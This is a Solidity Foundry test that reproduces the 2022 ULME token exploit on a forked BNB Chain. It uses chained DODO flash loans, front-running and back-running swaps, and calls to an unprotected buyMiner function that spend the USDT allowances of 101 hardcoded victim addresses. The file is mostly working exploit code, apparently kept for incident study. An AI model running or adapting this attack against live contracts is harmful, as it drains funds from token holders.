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ULME.sol
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ULME.sol
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// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @KeyInfo - Total Lost : ~200k US$ which resulted in ~50k profit
// Attacker : 0x056c20ab7e25e4dd7e49568f964d98e415da63d3
// Attack Contract : 0x8523c7661850d0da4d86587ce9674da23369ff26
// Vulnerable Contract : 0xAE975a25646E6eB859615d0A147B909c13D31FEd (ULME Token)
// Attack Tx : https://phalcon.blocksec.com/tx/bsc/0xdb9a13bc970b97824e082782e838bdff0b76b30d268f1d66aac507f1d43ff4ed
// @Analysis
// Blocksec : https://twitter.com/BlockSecTeam/status/1584839309781135361
// Beosin: https://twitter.com/BeosinAlert/status/1584888021299916801
CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
IPancakePair constant ULME_BUSD_LPPool = IPancakePair(0xf18e5EC98541D073dAA0864232B9398fa183e0d4);
IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
IULME constant ULME = IULME(0xAE975a25646E6eB859615d0A147B909c13D31FEd);
// Dodo pairs used only to accumulate BUSD for the frontrun.
// In the original tx hacker used multiple pools to gather 1M$ to extract 50k profit.
// Here we use only those two to get 560k$ and gain 45k profit as an example.
address constant dodo1 = 0xD7B7218D778338Ea05f5Ecce82f86D365E25dBCE;
address constant dodo2 = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A;
contract Attacker is DSTest {
//Exploit exploit = new Exploit();
IERC20 constant USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
uint dodo1Balance;
uint dodo2Balance;
function setUp() public {
cheat.label(address(ULME_BUSD_LPPool), "ULME_BUSD_LPPool");
cheat.label(address(pancakeRouter), "pancakeRouter");
cheat.label(address(USDT), "USDT");
cheat.label(address(ULME), "ULME");
cheat.createSelectFork("bsc", 22476695);
console.log("-------------------------------- Start Attacker ----------------------------------");
}
function testExploit() external{
USDT.approve(address(pancakeRouter), type(uint).max);
ULME.approve(address(pancakeRouter), type(uint).max);
emit log_named_decimal_uint("[Start] Attacker USDT Balance", USDT.balanceOf(address(this)), 18);
emit log_named_decimal_uint("[Start] Attacker ULME Balance", ULME.balanceOf(address(this)), 18);
// addresses attacked by the hacker
address [] memory victims = new address[](101);
victims[0]= 0x4A005e5E40Ce2B827C873cA37af77e6873e37203;
victims[1]= 0x5eCe8A3382FD5317EBa6670cAe2F70ccA8845859;
victims[2]= 0x065D5Bfb0bdeAdA1637974F76AcF54428D61c45d;
victims[3]= 0x0C678244aaEd33b6c963C2D6B14950d35EAB899F;
victims[4]= 0x1F0D9584bC8729Ec139ED5Befe0c8677994FcB35;
victims[5]= 0x6b8cdC12e9E2F5b3620FfB12c04C5e7b0990aaf2;
victims[6]= 0xA9882080e01F8FD11fa85F05f7c7733D1C9837DF;
victims[7]= 0x1dFBBECc9304f73caD14C3785f25C1d1924ACB0B;
victims[8]= 0x0b038F3e5454aa745Ff029706656Fed638d5F73a;
victims[9]= 0x0Bd084decfb04237E489cAD4c8A559FC5ce44f90;
victims[10]= 0x5EB2e4907f796C9879181041fF633F33f8858d93;
victims[11]= 0x0DE272Ef3273d49Eb608296A783dBd36488d3989;
victims[12]= 0xAe800360ac329ceA761AFDa2d3D55Bd12932Ab62;
victims[13]= 0xf7726cA96bF1Cee9c6dC568ad3A801E637d10076;
victims[14]= 0x847aA967534C31b47d46A2eEf5832313E36b25E2;
victims[15]= 0x6c91DA0Dc1e8ab02Ab1aB8871c5aE312ef04273b;
victims[16]= 0xb14018024600eE3c747Be98845c8536994D40A5D;
victims[17]= 0x8EcdD8859aA286c6bae1f570eb0105457fD24cd2;
victims[18]= 0x6ff1c499C13548ee5C9B1EA6d366A5E11EcA60ca;
victims[19]= 0xC02eb88068A40aEe6E4649bDc940e0f792e16C22;
victims[20]= 0xa2D5b4de4cb10043D190aae23D1eFC02E31F1Cb6;
victims[21]= 0x5E05B8aC4494476Dd539e0F4E1302806ec52ED6F;
victims[22]= 0xDeb6FDCa49e54c8b0704C5B3f941ED6319139816;
victims[23]= 0x0E6533B8d6937cC8b4c9be31c00acBfaCB6760a5;
victims[24]= 0xCE0Fd72a7cF07EB9B20562bbb142Cb711A42867f;
victims[25]= 0x4868725bf6D395148def99E6C43074C774e7AC1D;
victims[26]= 0x2F1f2BAF34703d16BcfD62cF64A7A5a44Ad6c9d4;
victims[27]= 0x3d49Bdf065f009621A02c5Fd88f72ed0A3910521;
victims[28]= 0x6E31C08f1938BE5DF98F8968747bB34802D76E50;
victims[29]= 0x4F741D8DCDEdd74DadeA6cd3A7e41ECb28076209;
victims[30]= 0x5480c14b9841C89527F0D1A55dDC0D273Aae3609;
victims[31]= 0xb3725dA113eFFd7F39BE62A5E349f26e82a949fF;
victims[32]= 0x9d83Dee089a5fBfB5F2F1268EDB80aeA8Ba5aF16;
victims[33]= 0x0c02F3d6962245E934A3fe415EAbA6bf570c1883;
victims[34]= 0x0182cfEFB268DD510ee77F32527578BEAC6238e2;
victims[35]= 0x78598Ac3943454682477852E846532F73d5cFE5F;
victims[36]= 0xd067c7585425e1e5AA98743BdA5fB65212751476;
victims[37]= 0x3507ddF8b74dAEd03fE76EE74B7d6544F3B254B7;
victims[38]= 0xEca4Fd6b05E5849aAf5F2bEE5Eb3B50f8C4f4E3c;
victims[39]= 0xAA279af072080f3e453A916b77862b4ff6eB245E;
victims[40]= 0x4e505a21325A6820E2099Bbd15f6832c6f696a3c;
victims[41]= 0xA5b63F7b40A5Cc5ee6B9dB7cef2415699627Ee89;
victims[42]= 0x3dd624cEd432DDc32fA0afDaE855b76aa1431644;
victims[43]= 0x17f217Fdeff7Ee4a81a4b2f42c695EDC20806957;
victims[44]= 0x41819F36878d15A776225928CD52DC56acCFD553;
victims[45]= 0x61ca76703C5aF052c9b0aCc2Bab0276875DDd328;
victims[46]= 0x2956bCc87450B424C7305C4c6CF771196c23A52E;
victims[47]= 0x03be05224803c89f3b8C806d887fD84A20D16e5C;
victims[48]= 0x3C97320bf030C2c120FdCe19023A571f3fbB6184;
victims[49]= 0xc52021150ca5c32253220bE328ddC05F86d3a619;
victims[50]= 0x6d7aAa35c4B2dBD6F1E979e04884AeE1B4FBB407;
victims[51]= 0x7c80162197607312EC99d7c9e34720B3572d6D16;
victims[52]= 0x15D92C909826017Ff0184eea3e38c36489517A7C;
victims[53]= 0xC07fa7a1F14A374d169Dc593261843B4A6d9C1C3;
victims[54]= 0x4b415F48FA70a9a0050F6380e843790260973808;
victims[55]= 0x9CeEeB927b85d4bD3b4e282c17EB186bCDC4Dd15;
victims[56]= 0x0eb76DAf60bdF637FC207BFb545B546D5Ee208B1;
victims[57]= 0x96D7F1660e708eDdF2b6f655ADB61686B59bC190;
victims[58]= 0xDCeB637E38dBae685222eEf6635095AaaEC65496;
victims[59]= 0x36083Aac533353317C24Bd53227DbF29Ed9F384c;
victims[60]= 0x94913f31fBaFcb0ae6e5EfA4C18E3ee301097eab;
victims[61]= 0x188c50F43f9fA0026BAaa7d8cF83c358311f0500;
victims[62]= 0x3d8dcC70777643612564D84176f769A1417987a5;
victims[63]= 0x00273CEEe956543c801429A886cD0E1a79f5d8cA;
victims[64]= 0xC43C5F785D06b582E3E710Dc0156267Fd135C602;
victims[65]= 0x0406aefd83f20700D31a49F3d6fdbF52e8F7D0Ef;
victims[66]= 0xBeD8C7433dE90D349f96C6AE82d4eb4482AA6Bf7;
victims[67]= 0xDe436F7742cE08f843f8d84e7998E0B7e4b73101;
victims[68]= 0xd38c6E26aa4888DE59C2EAaD6138B0b66ABBF21D;
victims[69]= 0xc0dFb3219F0C72E902544a080ba0086da53F9599;
victims[70]= 0xFAAD61bd6b509145c2988B03529fF21F3C9970B2;
victims[71]= 0x9f9BEEF87Cfe141868E21EacbDDB48DF6c54C2F2;
victims[72]= 0x6614e2e86b4646793714B1fa535fc5875bB446d5;
victims[73]= 0x7eFe3780b1b0cde8F300443fbb4C12a73904a948;
victims[74]= 0xAd813b95A27233E7Abd92C62bBa87f59Ca8F9339;
victims[75]= 0x13F33854cE08e07D20F5C0B16884267dde21a501;
victims[76]= 0x59ebcde7Ec542b5198095917987755727725fD1d;
victims[77]= 0xe5A5B86119BD9fd4DF5478AbE1d3D9F46BF3Ba5F;
victims[78]= 0xC2724ed2B629290787Eb4A91f00aAFE58F262025;
victims[79]= 0xDFa225eB03F9cc2514361A044EDDA777eA51b9ad;
victims[80]= 0x85d981E3CDdb402F9Ae96948900971102Ee5d6b5;
victims[81]= 0xb0Ac3A88bFc919cA189f7d4AbA8e2F191b37A65B;
victims[82]= 0x1A906A9A385132D6B1a62Bb8547fD20c38dd79Bb;
victims[83]= 0x9d36C7c400e033aeAc391b24F47339d7CB7bc033;
victims[84]= 0x5B19C1F57b227C67Bef1e77b1B6796eF22aEe21B;
victims[85]= 0xbfd0785a924c3547544C95913dAC0b119865DF9e;
victims[86]= 0xF003E6430fbC1194ffA3419629A389B7C113F083;
victims[87]= 0xfa30Cd705eE0908e2Dac4C19575F824DED99818E;
victims[88]= 0xe27027B827FE2FBcFCb56269d4463881AA6B8955;
victims[89]= 0xEddD7179E461F42149104DCb87F3b5b657a05399;
victims[90]= 0x980FcDB646c674FF9B6621902aCB8a4012974093;
victims[91]= 0x2eBc77934935980357A894577c2CC7107574f971;
victims[92]= 0x798435DE8fA75993bFC9aD84465d7F812507b604;
victims[93]= 0x1Be117F424e9e6f845F7b07C072c1d67F114f885;
victims[94]= 0x434e921bDFe74605BD2AAbC2f6389dDBA2d37ACA;
victims[95]= 0xaFacAc64426D1cE0512363338066cc8cABB3AEa2;
victims[96]= 0x2693e0A37Ea6e669aB43dF6ee68b453F6D6F3EBD;
victims[97]= 0x77Aee2AAc9881F4A4C347eb94dEd088aD49C574D;
victims[98]= 0x951f4785A2A61fe8934393e0ff6513D6946D8d97;
victims[99]= 0x2051cE514801167545E74b5DD2a8cF5034c6b17b;
victims[100]=0xC2EE820756d4074d887d762Fd8F70c4Fc47Ab47f;
dodo1Balance = USDT.balanceOf(dodo1);
emit log_named_decimal_uint("[before 1st flashloan] borrowing from dodo1:", dodo1Balance, USDT.decimals());
DVM(dodo1).flashLoan(0, dodo1Balance, address(this), abi.encode(victims));
console.log("-------------------------------- End Exploit ----------------------------------");
emit log_named_decimal_uint("[End] Attacker USDT Balance", USDT.balanceOf(address(this)), USDT.decimals());
emit log_named_decimal_uint("[End] Attacker ULME Balance", ULME.balanceOf(address(this)), ULME.decimals());
}
function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external{
if(msg.sender == dodo1){
dodo2Balance = USDT.balanceOf(dodo2);
emit log_named_decimal_uint("[Callback 1] borrowing from dodo2:", dodo2Balance, USDT.decimals());
DVM(dodo2).flashLoan(0, dodo2Balance, address(this), data);
emit log_named_decimal_uint("[Callback 1] Attacker USDT Balance after 1st repay", USDT.balanceOf(address(this)), USDT.decimals());
USDT.transfer(dodo1, dodo1Balance);
emit log_named_decimal_uint("[Callback 1] Attacker USDT Balance after 2nd repay", USDT.balanceOf(address(this)), USDT.decimals());
}
if( msg.sender == dodo2){
emit log_named_decimal_uint("[Callback 2] Attacker USDT Balance at start", USDT.balanceOf(address(this)), USDT.decimals());
emit log_named_decimal_uint("[Callback 2] Attacker ULME Balance at start", ULME.balanceOf(address(this)), ULME.decimals());
USDTToULME();
emit log_named_decimal_uint("[Callback 2] Attacker USDT Balance after frontrun swap", USDT.balanceOf(address(this)), USDT.decimals());
emit log_named_decimal_uint("[Callback 2] Attacker ULME Balance after frontrun swap", ULME.balanceOf(address(this)), ULME.decimals());
address[] memory victims = abi.decode(data, (address[]));
uint numOfVictims = victims.length;
for (uint i=0; i<numOfVictims; ++i){
uint balance = USDT.balanceOf(address(victims[i]));
uint allowance = USDT.allowance(address(victims[i]), address(ULME));
uint take = balance;
if (balance > allowance)
take = allowance;
if (take > 1)
{
emit log_named_address("mining from:", victims[i]);
emit log_named_uint("available for swap:", take);
try ULME.buyMiner(victims[i],100*take/110-1)
{
}
catch
{
emit log_named_address("bad victim:", victims[i]);
}
}
else{
emit log_named_address("poor victim:", victims[i]);
}
}
ULMEToUSDT();
emit log_named_decimal_uint("[Callback 2] Attacker USDT Balance after backrun", USDT.balanceOf(address(this)), USDT.decimals());
emit log_named_decimal_uint("[Callback 2] Attacker ULME Balance after backrun", ULME.balanceOf(address(this)), ULME.decimals());
USDT.transfer(dodo2, dodo2Balance);
emit log_named_decimal_uint("[Callback 2] Attacker USDT Balance after 1st repay", USDT.balanceOf(address(this)), USDT.decimals());
}
}
function USDTToULME() internal {
address [] memory path = new address[](2);
path[0] = address(USDT);
path[1] = address(ULME);
pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
USDT.balanceOf(address(this)),
0,
path,
address(this),
block.timestamp
);
}
function ULMEToUSDT() internal {
address [] memory path = new address[](2);
path[0] = address(ULME);
path[1] = address(USDT);
pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
ULME.balanceOf(address(this))-1,
0,
path,
address(this),
block.timestamp
);
}
}
/* -------------------- Interface -------------------- */
interface IULME is IERC20{
function buyMiner(address user,uint256 usdt) external returns (bool);
}